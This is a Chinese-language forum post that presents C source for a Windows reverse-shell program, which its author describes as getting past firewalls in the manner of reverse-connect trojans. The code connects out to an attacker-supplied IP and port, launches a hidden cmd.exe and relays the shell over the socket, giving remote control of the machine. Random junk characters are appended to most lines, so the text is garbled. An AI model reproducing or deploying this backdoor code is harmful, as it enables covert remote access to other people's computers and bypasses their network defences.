这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i]YQq! B
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/* ============================== O[`Ob6Q{F
Rebound port in Windows NT */\.-L{h
By wind,2006/7 H,I}R
===============================*/ T9$U./69-L
#include 7&QVw(:)M
#include $YC~02{
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#pragma comment(lib,"wsock32.lib") g|zK%tR_P
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void OutputShell(); i f"v4PHq
SOCKET sClient; ]lo1Kw
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4tC_W!?$t
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void main(int argc,char **argv) 9s!/y iP5
{ s +GF-kJ*
WSADATA stWsaData; 6+FON$8
int nRet; O`u! P\
SOCKADDR_IN stSaiClient,stSaiServer; K$
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if(argc != 3)
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printf("Useage:\n\rRebound DestIP DestPort\n"); cDx^}N!
return; \PFx#
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} moR]{2Cd{
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WSAStartup(MAKEWORD(2,2),&stWsaData); wgyO%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z]Y4NO;
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stSaiClient.sin_family = AF_INET; m@@QT<
stSaiClient.sin_port = htons(0); c{Kl?0#[
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ig<p(G.;}
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ 2UF94
printf("Bind Socket Failed!\n"); Ic}ofBK
return; q(7D8xG;F
} ]KeNC)R
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stSaiServer.sin_family = AF_INET; sJoi fl
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); m'tk#C
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fYy.>m+P1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %?hLo8
{ _w;+Jh
printf("Connect Error!"); ?6d4T
return; !j9i=YDb
} 8~E)gV+v
OutputShell(); \NU[DHrMP
} f'O vG@
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void OutputShell() "6yiQ\`J
{ N| Pm|w*?
char szBuff[1024]; 3\r@f_p
SECURITY_ATTRIBUTES stSecurityAttributes; sRQh~5kM
OSVERSIONINFO stOsversionInfo; ^4pKsO3ul
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; TEyx((SK
STARTUPINFO stStartupInfo; #@^w>D6W
char *szShell; `uVW<z{l
PROCESS_INFORMATION stProcessInformation; h(Ed%
unsigned long lBytesRead; bU ]N^og^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *"FLkC4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b0Ov+ )7#
stSecurityAttributes.lpSecurityDescriptor = 0; qLi9ym, ]
stSecurityAttributes.bInheritHandle = TRUE; (V.,~t@
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G.nftp(*}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nFnF_
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v\(m"|4(i
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >B /&V|E
stStartupInfo.wShowWindow = SW_HIDE; :$i:8lz
stStartupInfo.hStdInput = hReadPipe; @:+n6
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ](>7h_2B
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GetVersionEx(&stOsversionInfo); eM=) >zl
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switch(stOsversionInfo.dwPlatformId) qzt2j\v
{ yF5
case 1: *C@[5#CA2z
szShell = "command.com"; }&T<wm!
break; -*hb^MvP
default: $dTfvd
szShell = "cmd.exe"; ;%7XU~<a
break; j%Z{.>mJ
} (_qBsng:
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); bq3fiT9
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send(sClient,szMsg,77,0); \As oeeF
while(1) 4nII/cPG
{ iCnUnR{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >}DjHLTW\
if(lBytesRead) rw8J:?0x
{ frmqBC VJ:
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >!Ap/{2
send(sClient,szBuff,lBytesRead,0); {nPkb5xbW
} ?Tc)f_a
else J`+`Kq1T
{ K rr?`n
lBytesRead=recv(sClient,szBuff,1024,0); }.MoDR3\
if(lBytesRead<=0) break; &AQ;ze
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5G'&9{oB
} 7"n1it[RJ8
} }^pQbFku
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return; pcuMGo-#
}